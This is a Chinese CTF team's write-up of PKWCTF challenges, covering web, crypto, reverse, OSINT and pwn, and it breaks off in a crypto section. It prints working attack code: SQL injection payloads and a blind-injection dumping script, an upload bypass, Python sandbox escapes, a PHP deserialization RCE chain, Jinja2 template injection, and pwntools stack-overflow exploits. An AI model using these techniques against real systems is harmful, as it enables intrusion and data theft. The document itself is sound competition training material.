PKWCTF

admin 2026-10-02 05:17:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为PKWCTF比赛Writeup,涵盖XXE、SQL注入、文件上传、逆向分析、密码学等CTF题目解题思路,包含具体攻击手法与Flag,如XXE读取文件、报错注入绕过过滤、.htaccess上传、RSA与XOR逆向、CRT与LCG密码题等,并附有解题脚本与Flag。 综合评分: 75 文章分类: CTF,WEB安全,逆向分析,漏洞分析,渗透测试


PKWCTF

F1A4 F1A4

F1A4安全团队

2026年9月29日 14:30 重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

F1A4

团队招新

F1A4团队诚聘英才

JOIN US…

热爱网安、喜欢CTF即可报名,大一同学会放宽要求;有参赛/获奖经历优先,不兼其他高校联队,服从赛事安排、乐于交流即可。

报名:邮箱[email protected]

邮件格式:姓名+主攻方向,投递后进入纳新群

F1A4团队

公众号:F1A4安全团队

携手前进 共创未来

PKWCTF

Writeup

最后没时间冲分了哈哈哈

第一轮

纸上谈兵

经典xee漏洞直接执行即可

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE register [

]>

&xxe;

10086

test

Flag:PKWCTF{bff90617-cb08-46b3-909c-a8997df65cb9}

签到题

直接右键发现被禁用了,然后通过火狐自带的插件禁用

然后查看源代码拿到base64,解密即可

Flag:PKWCTF{5d153537-f17b-4cfc-8a89-c0f4c13e5e46}

PKW学院

查看源码发现接口/api/v1/

访问发现

很多接口但是重要的是环境变量的,直接通过环境变量传递参数即可拿到base64编码的flag,他说过用参数name传递,那就直接?name=flag

Flag:PKWCTF{3eea4f6d-ea43-4a73-9a57-6bef6e1559b9}

PKWSEC 员工名录

输入”试了下然后看下信息发现,输入被直接拼进 SQL,外层是双引号,可以用 ” 闭合

尝试了” and 1=1– –

报错了near ‘1=1– -“‘,说明 — – 注释没生效,且 and 被过滤。

继续测试发现过滤关键词:or,and,union,|,information_schema 里的 or 被删除后变成 infmation_schema,导致表不存在,用双写绕过:infoorrmation_schema还要想办法绕过and / union / |不能用逻辑运算符,改用 = 连接表达式

” = extractvalue(1,concat(0x7e,database())) = “

发现能够触发报错注入

那就开始尝试报错注入

当前数据库名:ctf

表名:

” = extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()))) = “

字段名

” = extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=’confidential_docs’))) = “

读机密内容:

” = extractvalue(1,concat(0x7e,(select group_concat(doc_title,0x7c,doc_secret) from confidential_docs))) = “

回显被 extractvalue 的 32 字符限制截断,用 substr 分段读取 doc_secret

Flag:PKWCTF{8a9e9287-c9e6-42a5-97bf-02105070b6b4}

mio上传

上传jpg可以,然后修改后缀被拦截,尝试phtml,以及php5等等都被拦截,然后试了php.jpg可以但是不解析

最后尝试修改中间件Apache 的配置 .htaccess

AddType application/x-httpd-php .txt

奖.htaccess 上传以后再上传一个扩展名为 .txt、内容为 PHP 的文件

用蚁剑连接

然后在根目录下拿到flag

Flag:PKWCTF{b2500a9c-294b-4f9b-881d-9aab79b5d331}

4048

在源码game.js里面找到了十六进制编码的把他转成字符然后转ascii技能拿到flag

Flag:PKWCTF{b318d7ff-60fb-4011-8846-2bac7f88eb55}

元素属性

尝试了一下万能密钥发现被拦截,然后看了下标题,发现ROBOTX,尝试访问

拿到账号密码

登录进来查看flag.txt被拦截了

看了下F12发现传递的参数为

我把flag修改成F14g试下发现拿到flag

Flag:PKWCTF{5c90982f-8af8-4a09-8a0c-3c0ad266dd7e}

题目:MioCrypt 逆向题解

WannaCry 致敬题:从 RSA 外层定位到 8 字节循环 XOR

静态分析

检查 MioCrypt.exe 的导入表,可以看到程序使用 Windows CNG 的 RSA 相关 API:

BCryptOpenAlgorithmProvider BCryptImportKeyPair BCryptEncrypt BCryptGenRandom

程序没有导入 BCryptDecrypt,说明它只内置 RSA 公钥并负责加密。二进制中的公钥是 RSA-2048,指数为 65537。没有私钥时,RSA 密文不能直接还原,因此应继续检查对原始 flag 的处理逻辑。

定位循环 XOR

在 IDA 中定位到函数 0x140001B20。函数逐字节处理输入缓冲区,密钥下标通过除以 8 取余得到:

index = i % 8 data[i] ^= key[index]

这说明程序使用一个 8 字节会话密钥进行重复 XOR。主流程位于 0x140001BB0 附近,先生成随机会话密钥,再进行 RSA 包装和 XOR 处理。

确认 flag 文件布局

flag 文件大小为 299 字节。结合写文件的参数和 RSA-2048 的固定块长度,可以确定布局如下:

最后 35 字节的密文为:

57 b0 60 1c 9c 79 8b e8 33 90 58 00 b2 0b 9b fd 58 8b 03 26 97 72 99 fd 44 93 03 31 97 0e af d9 41 b8 4a

4 利用已知明文恢复密钥

题目 flag 格式已知为 PKWCTF{…}。将 XOR 密文前 7 字节与已知明文 PKWCTF{ 逐字节异或:

cipher : 57 b0 60 1c 9c 79 8b plain  : 50 4b 57 43 54 46 7b key    : 07 fb 37 5f c8 3f f0

因此密钥前 7 字节确定为 07 fb 37 5f c8 3f f0。第 8 字节只会影响密文下标 7、15、23、31 的字符。枚举 0 到 255,并要求结果符合 flag 格式、全部可打印且文本自然,得到第 8 字节为 0x92。

key = 07 fb 37 5f c8 3f f0 92

解密脚本

from pathlib import Path  blob = Path(“flag”).read_bytes() cipher = blob[8 + 256:] key = bytes.fromhex(“07 fb 37 5f c8 3f f0 92”)  plain = bytes(     value ^ key[index % len(key)]     for index, value in enumerate(cipher) ) print(plain.decode())

脚本输出:

PKWCTF{z4ko_z4ko_p4y_MioCh4n_1_KFC}

核心密钥室

服务要求在同一连接中连续答对五题,且每次连接都会重新生成参数。因此脚本必须在一个 socket 会话内完成读取、解析、计算和回传。

中国剩余定理

对同余方程 x ≡ ai mod ni,令 N 为所有模数之积,Ni=N/ni。由于模数两两互素,最小非负解可由各项 ai·Ni·Ni 的模逆求和后对 N 取模得到。

N = math.prod(moduli) x = sum(a * (N // n) * pow(N // n, -1, n)         for a, n in zip(residues, moduli)) % N assert all(x % n == a for a, n in zip(residues, moduli))

本次服务端接受的答案为 763245276353107593870159。

RSA 已知素因子解密

题目直接给出 p、q、e 和密文 c。先计算欧拉函数 φ(n)=(p−1)(q−1),再求私钥指数 d=e 的模 φ(n) 逆元,最后计算 m=c^d mod n。

phi = (p – 1) * (q – 1) d = pow(e, -1, phi) m = pow(c, d, p * q) assert pow(m, e, p * q) == c

本次服务端接受的明文整数为 14779514988838956331。

接近素数的费马分解

题目说明 n=pq 且两个素数非常接近。利用 n=a²−b²=(a−b)(a+b),从 ceil(√n) 开始寻找使 a²−n 为完全平方数的 a,即可得到 p=a−b、q=a+b。

a = math.isqrt(n) if a * a < n:     a += 1 while True:     b = math.isqrt(a * a – n)     if b * b == a * a – n:         p, q = a – b, a + b         break     a += 1 assert p * q == n

本次服务端接受的较小素因子为:

8022365885700099937790627904171625334140878121008287282847577536016076331696853736188689743027746031588480262559629066790777007188964262394889009993976817

线性同余发生器预测

LCG 满足 x(n+1)=(a·x(n)+c) mod m。相邻差分满足 x3−x2=a(x2−x1) mod m,因此可以先恢复乘数 a,再代回求增量 c,并预测 x7。

a = (x3 – x2) * pow(x2 – x1, -1, m) % m c = (x2 – a * x1) % m assert all((a*x + c) % m == y for x, y in zip(xs, xs[1:])) x7 = (a * x6 + c) % m

本次服务端接受的预测值为 137822310548916843349962431139754847971。

有界离散对数

题目给出 h=g^x mod p,并限制 0≤x<2^32。Baby step Giant step 将搜索空间拆成 2^16×2^16:预计算 g^j,再逐步查找 h·(g^(−2^16))^i 是否命中表。

width = 1 << 16 table = {} v = 1 for j in range(width):     table.setdefault(v, j)     v = v * g % p factor = pow(pow(g, width, p), -1, p) target = h for i in range(width):     if target in table:         x = i * width + table[target]         break     target = target * factor % p assert pow(g, x, p) == h

本次求得 x=1221418763。

五题全部通过后得到 flag:PKWCTF{6ddcfb4c-7544-4d49-95e8-290d8003166c}。

新人入职考核

第二道题同样要求在一个连接中连续答对五题,但内容偏基础。每一关都可以直接使用 Python 标准库完成。

1 Hex 解码

Hex 每两个字符表示一个字节,将字节序列按 ASCII 解码即可恢复原字符串。

plaintext = bytes.fromhex(hex_string).decode(‘ascii’)

2 单字节 XOR

XOR 具有自反性,即 (m XOR k) XOR k=m,因此对每个密文字节再次与相同密钥异或即可。

plaintext = bytes(value ^ key for value in bytes.fromhex(cipher_hex)).decode(‘ascii’)

3 模幂 模逆与最大公约数

三参数 pow 可直接完成快速模幂;指数设为 −1 时计算模逆;math.gcd 使用欧几里得算法计算最大公约数。

mod_power = pow(a, b, m) mod_inverse = pow(a, -1, m) greatest_common_divisor = math.gcd(a, b)

五题全部通过后得到 flag:PKWCTF{ba73beaf-2daa-4960-b640-9660daef80d7}。

你瞅啥

放进随波里面直接看见flag

Flag:PKWCTF{co0o_1s_Lsb!!lsb11}

De-Fusion

扔进随波逐流发现有flag字段,用ForemostT提取出来

发现3张图片

把flag合起来拿到flag

Flag:PKWCTF{T34rl4m3nts_K4l31d0_H34rt}

浮生 challenge

线索定位

README 提示真正的信息在缓存里回声。SQLite 中的 cache_meta 记录了 same path, same time, different echo;request_log 则表明 101 至 160 的响应都隐藏在 PCAP 中。先从流量中提取 JSON 的 echo 字段。

Base64 解码 echo,并按 log_01 到 log_53 的编号排序 log_01:6b … log_53:62

这些片段解码后拼成一条明确的元数据:

key=echo_key_2026;target=喵喵喵.png;method=red_lsb

提取图片隐写内容

根据 red_lsb 提示,逐像素读取 PNG 红色通道最低位,每 8 位组成一个字节。得到的明文前缀是 cipher=,末尾用 ::END:: 标记结束。

cipher=35283f2c0b2d1e1a3e515857690b061e0a2d3409103a416f5043113c040038183a1d304f

循环 XOR 解密

将十六进制密文转为字节,与密钥 echo_key_2026 循环 XOR。结果通过 PKWCTF{…} 格式校验。

flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher)) PKWCTF{cache_never_lies_but_logs_do}

ChenYu Python 计算器

服务行为

服务自称 Python calculator online。表达式 1+1 返回 2,说明输入被直接求值;globals() 可见 __builtins__,并且其中包含 open、__import__ 等危险函数。

2 读取环境变量

直接读取 /flag 不存在,但题目程序的源码显示 flag 来自环境变量 FLAG。因此执行以下表达式即可:

__import__(“os”).environ[“FLAG”]

服务返回:

‘PKWCTF{c5aff284-bde9-4d9b-920c-ee593cbbea34}’

LuoYan Python 沙箱绕过

黑名单判断

直接输入 __import__(“os”) 会得到 No import allowed,open 也会被拦截。由于表达式仍然能访问 __builtins__ 和 chr,可以不直接写出被过滤的关键字,而是在运行时拼接名称。

动态构造危险名称

__builtins__chr(95)*2+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)*2).environ[chr(70)+chr(76)+chr(65)+chr(71)]

其中 chr(95)*2、chr(105)…chr(116)、chr(95)*2 拼出 __import__;chr(111)+chr(115) 拼出 os;最后四个 chr 拼出 FLAG。服务返回:

‘PKWCTF{7fa42519-8378-4028-8c0d-68c467cafbaa}’

Omaha Outs

每轮给出 k1ne 的手牌、三名对手手牌和四张公共牌,要求计算能让 k1ne 严格获胜的 River 牌数量。先从 52 张牌中移除 4+12+4 张已知牌,剩余 32 张逐张枚举。

对每张候选 River: 1. 枚举自己的 C(4,2) × C(5,3) 组合,取最大牌型; 2. 对每名对手做同样枚举; 3. 只有自己的牌型严格大于所有对手时才计数。 python solve_poker.py

实现时要处理 A2345 顺子、同花顺、葫芦和比较相同导致的平局。平局不属于 outs。

osint-1

一看金门大桥,并且是靠岸边的直接谷歌地图全景看

拿到坐标:PKWCTF{37.8257833,-122.4829583}

osint-2

通过湖+建筑的风格可以判断是日本的建筑风格,并且这个是你的名字原型地,确定为诹访湖

然后根据这个L型的放船的地方可以在谷歌上面找,并且旁白是红色的跑道,根据特征可以找到大致的方向

然后是这个3个大臭水鱼塘把加这个有点富丽堂皇的房子

定位到确定的地方

再根据这个烂车和粉车的位置慢慢调整细节

拿到坐标:PKWCTF{36.0445828,138.0575787}

Osint3

通过绵羊以及后面的冰山啥的ai帮着推断出是冰岛然后进去地图里面翻

最后沿着Skagavegur这条路找到了

Flag:PWKCTF{65.9881762,-20.3830073}

糖衣炮弹

Die查壳发现是upx的壳直接脱壳

拿到没壳程序,直接扔进ida

拿到flag

Flag:PKWCTF{easy_decompile_flag}

gogogo!出发咯

先查壳

无壳直接ida

因为是go所以不是直接看main而是看_rt0_amd64_windows 或 runtime.rt0_go,整个分析为:

rt0_amd64_windows

↓

rt0_amd64

↓

runtime_rt0_go_abi0

↓

runtime_main

↓

main_main   ← 业务入口

核心函数为main_xorCheckLookHere

输入长度必须等于 qword_14019E438。

因为是go所以不是直接看main而是看_rt0_amd64_windows 或 runtime.rt0_go,整个分析为:

rt0_amd64_windows

↓

rt0_amd64

↓

runtime_rt0_go_abi0

↓

runtime_main

↓

main_main   ← 业务入口

核心函数为main_xorCheckLookHere

输入长度必须等于 qword_14019E438。

对每个字符:密文[i] == (密钥 ^ 输入[i])。

异或可逆:输入[i] = 密文[i] ^ 密钥。

长度 = 8

key = 0x12

cipher = “BYEQFTio”

公式:明文[i] = 密文[i] ^ 0x12

cipher = “BYEQFTio”

key = 0x12

flag = ”.join(chr(ord(c) ^ key) for c in cipher)

print(flag)

# 输出:PKWCTF{}

验证:

Flag:PKWCTF{}

澳门新葡京

还是查壳

直接ida,看main函数

输入 1 → 抽奖,打印奖品名称。

输入 2 → 退出。

其他 → 非法输入提示。

核心函数为:draw_prize直接查看

这是一个标准的加权随机抽奖(轮盘赌算法):

每个奖品有 weight(权重)。

roll 落在哪个区间,就返回哪个奖品。

然后找到 prize_pool,发现很多flag

整体的权重 = 3999 + 2600 + 1800 + 1000 + 500 + 80 + 10 + 10 + 1 = 10000

前两个 PKWCTF{…} 的都是假的flag,因为里面是翻译不文明哈,还有就是刚刚说的权重,只有最后一个为万分之一,最稀有,都不用看其他的直接提交他就是flag

Flag:PKWCTF{CQqQqQqQqQqQq_YOU}

呆呆鸟

用CE作弊呗

进入程序,把程序导入CE

不断掉血用k自杀

最后找到功能点修改血量1000000

血量修改成功,然后去找到8个密钥即可拿到flag

Flag:PKWCTF{D0_y0U_LiK3_G@M3?}

Lost Ruins Terminal

一堆教学的东西过了直接给flag

Flag:PKWCTF{1b9aa450-64c3-4def-885f-e14dec31bdb7}

Light Forest Pwn

题目概况

本题提供一个 64 位 ELF 服务程序。程序启动后读取用户输入并打印欢迎语,远端服务监听 nc1.ctfplus.cn:35765。目标是定位内存破坏点,控制返回地址并取得 shell。

文件与保护检查

程序架构为 x86-64;Partial RELRO;未启用栈 canary;NX 启用;PIE 未启用,基址固定为 0x400000;符号未剥离。没有 canary 且地址固定,因此可以使用稳定的 ret2win。

漏洞定位

forest 函数为局部 name 缓冲区分配 0x20 字节空间,随后调用 gets(name),再执行 printf(“Welcome %s\n”, name)。gets 不检查输入长度,形成栈溢出。数组占 32 字节,保存 rbp 占 8 字节,所以覆盖保存 RIP 的偏移为 40 字节。

目标函数与栈对齐

隐藏函数 maintenance_shell 位于 0x401166,内部执行 system(“/bin/sh”)。直接跳转到它时,远端可能因 system 对栈对齐的要求而崩溃,因此在目标函数前加入 ret 指令 0x40101a。最终 payload 为 40 字节填充、ret、maintenance_shell。 padding(40) | ret(0x40101a) | maintenance_shell(0x401166) 利用脚本 保存下面脚本为 solve.py,在安装 pwntools 的环境中执行: from pwn import * context.arch = ‘amd64’ io = remote(‘nc1.ctfplus.cn’, 35765) io.recvuntil(b’name:’) io.sendline(b’A’*40 + p64(0x40101a) + p64(0x401166)) io.sendline(b’cat /flag’) io.interactive() 利用成功后获得 root shell,执行 cat /flag 输出: PKWCTF{8a83ef16-8836-4580-b430-1ac8c33fcc99}

Withered Tree

格式化字符串泄露与栈溢出 ret2win

目标服务:nc1.ctfplus.cn:17282。本文记录二进制检查、漏洞定位、偏移推导和远程利用过程。最终 flag 为 PKWCTF{fe42d56c-3894-49a6-8fbb-8375cecbd948}。

环境与保护

题目文件为 64 位 x86 ELF。RELRO 为 Partial RELRO,开启 NX 和栈 canary,未开启 PIE,且未 stripped。

checksec –file=challenge\nArch: amd64\nRELRO: Partial RELRO\nStack: Canary found\nNX: NX enabled\nPIE: No PIE (0x400000)

漏洞分析

prophecy() 先读入数据并执行 printf(buf),形成格式化字符串漏洞;随后从 rbp-0x50 读取 0x100 字节,形成栈溢出。

read(0, rbp-0x90, 0x40)\nprintf(buf)\nread(0, rbp-0x50, 0x100)

泄露 canary

使用位置参数读取栈值。远程测试表明第 23 个参数是 canary:

%23$p  =>  0x77c157a5cccb7700

脚本每次连接都重新泄露 canary。

栈布局与 ret2win

从输入起点到 canary 的距离为 0x48,之后是保存 rbp 和返回地址。maintenance_shell() 位于 0x401176,会执行 system(“/bin/sh”)。使用 0x40101a 的 ret 对齐栈。

padding  0x48\ncanary   8\nsaved rbp 8\nret      0x40101a\nwin      0x401176

利用脚本

核心代码如下:

io.sendline(b’%23$p’)\ncanary = int(re.search(rb’0x[0-9a-fA-F]+’, leak).group(), 16)\npayload = flat(b’A’ * 0x48, canary, b’B’ * 8, 0x40101A, 0x401176)\nio.send(payload.ljust(0x100, b’C’))\nio.sendline(b’cat /flag’)

必须补齐到 0x100 字节,因为 read() 会等待完整长度。

利用后输出:

PKWCTF{fe42d56c-3894-49a6-8fbb-8375cecbd948}

第二轮

web

小虎鲸大冒险

第一关:ticket

条件:

必须传 ticket 参数(GET)

empty($_GET[“ticket”]) 为真 $_GET[“ticket”] !== “” 为真 PHP 中 empty() 为真的值包括 0、”0″、false、null、””、[] 等。 但 $_GET 取到的值永远是字符串或数组,所以只能用字符串 “0”。 empty(“0”) → true “0” !== “” → true ticket=0 第二关:depth 条件: 必须传 depth 参数(GET) 字符串长度 ≤ 4 数值要大于 1000 利用 PHP 弱类型比较,使用科学计数法字符串: “1e4” 长度为 3 在数字比较时被当作 10000 10000 > 1000 为真 depth=1e4 第三关:song 条件: 必须 POST 传 song md5(song) == 0 为真(弱比较) 利用 PHP 的 == 弱比较漏洞: 如果 MD5 结果是 0e 开头后面全是数字,会被当作科学计数法 0 × 10^n = 0 “0e…” == 0 为真 常用的 MD5 为 0e 开头的字符串: song=QNKCDZO 也可以用数组绕过: song[]=a md5() 对数组返回 null,null == 0 为真。

flag:PKWCTF{d866819c-3b97-4b76-a520-a6479ba7dff4}

隐藏留言

查看源代码发现

留言作者是 admin,ID 为 b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e,且标题前有 🔒 图标,说明是一条私密/隐藏留言。

这条留言直接点题:有一条隐藏留言,需要想办法查看

在源代码下面发现MGetMessages 接受客户端传入的任意 message_ids 数组,代码中没有任何迹象表明服务端会校验「这些 ID 是否属于当前用户」;而单条接口 /api/messages/:id 在 viewDetail 里对私密留言会返回「无权查看」

这就会导致服务端信任客户端传入的 message_ids,未校验归属/权限,导致可以传入任意留言 ID

我们在源码中看见了admin的id,直接用POST传递参数,因为GET有鉴权

flag:PKWCTF{f8bb368e-61d9-447a-826a-341aaa799d68}

丢标的报价

做过第一期的题目应该都知道这是sql注入的题目,直接开始尝试sql注入

测试字符型

说明不是简单的字符型注入,或者单引号导致语法错误被吞

测试数字型

回显 YES 已归档,命中,说明是数字型注入,参数直接拼进 SQL,没有引号包裹

判断字段数

说明字段数为 1

测试 UNION

回显 YES 已归档,说明 UNION 可用,但页面只判断“有没有记录”,不展示查询结果,所以 UNION 无法直接回显数据

测试报错注入

回显 NO 未归档,无报错回显,说明报错注入不可用,错误被后端吞掉

测试布尔盲注

确认存在布尔盲注,条件为真时回显 YES 已归档,条件为假时回显 NO 未归档

前面手动盲注了一下还是算了,决定写脚本了

Python import requests import sys  URL = “http://8080-8abbd02e-5713-43e7-b0d6-60fcf76aa0ed.challenge.ctfplus.cn”           PARAM = “project”  session = requests.Session()  def check(payload):     “””布尔盲注判断:页面出现 YES 即为真”””     try:         r = session.get(URL, params={PARAM: payload}, timeout=10)         return “YES” in r.text     except Exception as e:         print(f”[!] 请求异常: {e}”)         return False  def get_length(sql, max_len=200):     for i in range(1, max_len + 1):         if check(f”1 AND LENGTH(({sql}))={i}”):             return i     return 0  def get_char_binary(sql, pos):     low, high = 32, 126     while low < high:         mid = (low + high) // 2         if check(f"1 AND ASCII(SUBSTR(({sql}),{pos},1))>{mid}”):             low = mid + 1         else:             high = mid     return chr(low)  def get_string(sql, length):     result = “”     for i in range(1, length + 1):         c = get_char_binary(sql, i)         result += c         print(f”\r[+] 已获取: {result}”, end=””, flush=True)     print()     return result  def get_count(sql, max_count=200):     for i in range(0, max_count + 1):         if check(f”1 AND ({sql})={i}”):             return i     return 0  # ================== 1. 爆库名 ================== print(“[*] 开始爆库名…”) db_len = get_length(“SELECT DATABASE()”) db_name = get_string(“SELECT DATABASE()”, db_len) print(f”[+] 库名: {db_name}”)  # ================== 2. 爆表名 ================== print(“\n[*] 开始爆表名…”) table_count = get_count(     f”SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}'” ) print(f”[+] 表数量: {table_count}”)  tables = [] for i in range(table_count):     sql = f”SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}’ LIMIT {i},1″     t_len = get_length(sql)     t_name = get_string(sql, t_len)     tables.append(t_name)     print(f”[+] 第 {i+1} 张表: {t_name}”)  print(f”[+] 表名列表: {tables}”)  # ================== 3. 爆 secret_bids 列名 ================== target_table = “secret_bids” print(f”\n[*] 开始爆表 {target\_table} 的列名…”)  col_count = get_count(     f”SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name='{target_table}'” ) print(f”[+] 列数量: {col_count}”)  columns = [] for i in range(col_count):     sql = f”SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name='{target_table}’ LIMIT {i},1″     c_len = get_length(sql)     c_name = get_string(sql, c_len)     columns.append(c_name)     print(f”[+] 第 {i+1} 列: {c_name}”)  print(f”[+] 列名列表: {columns}”)  # ================== 4. dump secret_bids 数据 ================== print(f”\n[*] 开始 dump 表 {target\_table} 的数据…”)  row_count = get_count(f”SELECT COUNT(*) FROM {target_table}”) print(f”[+] 行数: {row_count}”)  all_rows = [] for i in range(row_count):     row = {}     for col in columns:         sql = f”SELECT {col} FROM {target_table} LIMIT {i},1″         d_len = get_length(sql)         d_val = get_string(sql, d_len)         row[col] = d_val         print(f”[+] 第 {i+1} 行 {col}: {d_val}”)     all_rows.append(row)     print(f”[+] 第 {i+1} 行完整数据: {row}”)  # ================== 5. 搜 flag / sillybird / 金额 / 去向 ================== print(“\n[*] 开始搜索关键字…”)  keywords = [“flag”, “sillybird”, “呆呆鸟”, “去向”, “成本”, “报价”, “destination”, “note”, “remark”]  for idx, row in enumerate(all_rows):     row_str = str(row).lower()     for kw in keywords:         if kw.lower() in row_str:             print(f”[!] 第 {idx+1} 行命中关键字 {kw}: {row}”)  # 直接打印所有行,人工找 flag print(“\n[*] 所有行数据:”) for idx, row in enumerate(all_rows):     print(f”  第 {idx+1} 行: {row}”)  # ================== 6. 额外:如果 projects 表也有线索,一起 dump ================== print(f”\n[*] 顺便 dump 表 projects…”) proj_count = get_count(f”SELECT COUNT(*) FROM projects”) print(f”[+] projects 行数: {proj_count}”)  proj_cols = [] proj_col_count = get_count(     f”SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name=’projects'” ) for i in range(proj_col_count):     sql = f”SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name=’projects’ LIMIT {i},1″     c_len = get_length(sql)     c_name = get_string(sql, c_len)     proj_cols.append(c_name)  for i in range(proj_count):     row = {}     for col in proj_cols:         sql = f”SELECT {col} FROM projects LIMIT {i},1″         d_len = get_length(sql)         d_val = get_string(sql, d_len)         row[col] = d_val     print(f”[+] projects 第 {i+1} 行: {row}”)  print(“\n[*] 完成。”)

flag:PKWCTF{ece399ed-025a-4669-841f-fbf19a5a5f01}

魔术链

查看源码

逐个类分析:

false

点击图片可查看完整电子表格

虽然我们单看每个类都不致命,但组合起来可以形成一条完整的攻击链

构造poc

反序列化 → 脚本结束

↓

Logger::__destruct()                          【触发点】 ↓ file_put_contents(logFile,content) ↓ $content 是对象 → 需要转字符串 Database::__toString()                        【桥梁】 ↓ return $this->handler->query() ↓ Admin 没有 query() 方法 Admin::__call(‘query’, …)                   【终点】 ↓ system($this->command)  →  命令执行 RCE Logger.content  ──>  Database 对象 Database.handler ──>  Admin 对象 Admin.command    ──>  要执行的系统命令 其中Logger.logFile 只用于让 file_put_contents 有地方可写(随便填个 /tmp/x 即可),不参与攻击 Bash <?php class Logger   { public $logFile = "/tmp/x"; public $content; } class Database { public $handler; } class Admin    { public $command; }  $a = new Admin(); $a->command = “env | grep -i flag”;   // ← 最终要执行的命令  $d = new Database(); $d->handler = $a;  $l = new Logger(); $l->content = $d;

echo base64_encode(serialize($l)) . “\n”;

用data传递参数即可

flag:PKWCTF{728a6fb1-cf06-4404-a50d-ea9fe8f348f4}

茉莉蜜茶

随便输入啥都能够登录,进去以后是游客,拿明显就是提权呗

那就看下cookie,发现有个identification,去base64解密拿到

确认是 PHP 序列化对象 + Base64

然后把guest改成admin,但是直接编码以后base64提交被waf拦截

那就开始尝试绕过waf

PHP 序列化里,字符串类型有两种写法:

s:5:”admin”; → 小写 s,普通字符串

S:5:”\61\64\6d\69\6e”; → 大写 S,支持十六进制转义

\61\64\6d\69\6e 就是 admin 的十六进制

所以直接开始编译

通过插件更换identification进入下一关

第一道白名单:

^[A-Za-z()_;]+$

只允许:

字母 A-Za-z

括号 ( )

分号 ;

下划线 _

不允许:数字、引号、$、空格、逗号、点、等号等。

第二道黑名单:

get[a-z]{5,}

禁止 get 后面跟 5 个以上字母,例如 get_defined_vars 会被拦。 但 getenv 里 env 只有 3 个字母,不匹配。

直接传递phpinfo(); 的时候会被拦截,把;改成url编码以及可/?code=phpinfo()%3B

flag:PKWCTF{be6ed1fc-bba1-4c4a-8cd8-4723cfa5d467}

教务系统

直接用测试账号登录上去然后看了下源码有很多接口,并且可以修改学生的昵称,试了下超出的学号30发现能够修改

说明后端没有校验 id 是否属于当前登录用户,存在水平越权

然后进去想咋读取这个账号的,在F12查看过程中发现可以传递参数

把id修改成30即可

拿到前半段flag:PKWCTF{523ff467-2f64-4

备注里还会提示:

教师端有“账号管理”和“重置密码”功能

教师工号:T001

然后在首页查看源代码的时候也发现

有个教室工作台

看见了教师重置密码的接口以及方式,直接通过插件修改url并以post传递,重置了密码

登录成功

然后发现没flag继续看下源码,这时候注意到

不显示,直接查看一下

知道后半截flag

flag:PKWCTF{523ff467-2f64-4f3f-a074-e9195ea903a8}

仓库中的圈套

明显提示了仓库泄露

查看了许多泄露的如

Plain Text /.git/HEAD /.git/config /.git/logs/HEAD /.git/refs/heads/master /.git/index

最后在index 得知源码文件

Plain Text secret.php

直接访问

程序逻辑非常简单,需要同时满足两个条件才会输出 flag:

$_GET[‘cytcv’] == “admin”

参数名 cytcv 是普通 ASCII,直接传 ?cytcv=admin 即可。

$_GET[‘⁦fguyfnk⁩kef’] == “bmkfd⁩ncd”

发现咋传都上不去这卡了很久,然后让ai做了下发现这里的参数名和参数值都暗藏玄机:

参数名 ⁦fguyfnk⁩kef 中夹着两个不可见字符:

⁦ = U+2066 LEFT-TO-RIGHT ISOLATE

⁩ = U+2069 POP DIRECTIONAL ISOLATE

参数值 bmkfd⁩ncd 中夹着一个 ⁩(U+2069)

这些是 Unicode 双向文本控制字符,在编辑器/浏览器里不可见,因此:

肉眼看到的 bmkfdncd 并不等于实际的 bmkfd\u2069ncd

手打 URL 几乎不可能精确还原

我去验证了一下看明显

把不可见字符转成 UTF-8 百分号编码:

false

点击图片可查看完整电子表格

最后payload:/secret.php?cytcv=admin&%E2%81%A6fguyfnk%E2%81%A9kef=bmkfd%E2%81%A9ncd

flag:PKWCTF{63c8e3f1-07b8-4a0c-bc10-3ef62af30829}

燕园论坛

先信息收集了一下发现

这有个测试账号,但是进去试了一圈没有啥可以做的然后就想着试下弱口令结果admin/admin123进了(可能非预期了,但是密码这么简单呢)

然后在设置里面可以修改签名啥的试了xss啥的最后发现是模板注入我输入

{{7*7}}的时候

个人页面显示49说明签名被当作 Jinja2 模板执行,存在服务端模板注入

利用 Jinja2 默认对象 lipsum 的全局变量访问 Python 的 os 模块

{{lipsum.globals[“o”+”s”].listdir(“/challenge”)}}

确认 flag 文件路径为 /challenge/flag

通过 __builtins__ 获取 open

{{lipsum.globals[“builtins”]“open”.read()}}

flag:PKWCTF{b346e175-e373-4ecf-b426-affb7b28794a}

Crypto

Campus Radio

服务提供三个关键功能:

提交普通校园广播,并返回加密后的密文;

获取管理员广播的密文;

提交恢复出的管理员广播明文进行验证。

题目提示普通广播和管理员广播带有“同一段熟悉的底噪”,这暗示两条消息复用了同一段密钥流。

加密分析

流加密通常可以表示为:

Plain Text C = P XOR K

其中 P 是明文,C 是密文,K 是密钥流。

我们可以提交已知明文。提交 64 个 A 后,普通广播明文为:

P1 = AAAAAAAAAA…(共 64 个 A)

服务返回:

Plain Text C1 = P1 XOR K

管理员密文为:

Plain Text C2 = P2 XOR K

因为两条消息在同一会话中复用了同一段密钥流,所以:

Plain Text C1 XOR C2 = (P1 XOR K) XOR (P2 XOR K) = P1 XOR P2

因此管理员明文可以直接恢复:

Plain Text P2 = C1 XOR C2 XOR P1

这里要求两次操作在同一个连接中完成,并且已知明文长度覆盖管理员密文长度。

EXP

将恢复出的明文提交给菜单 [3]:

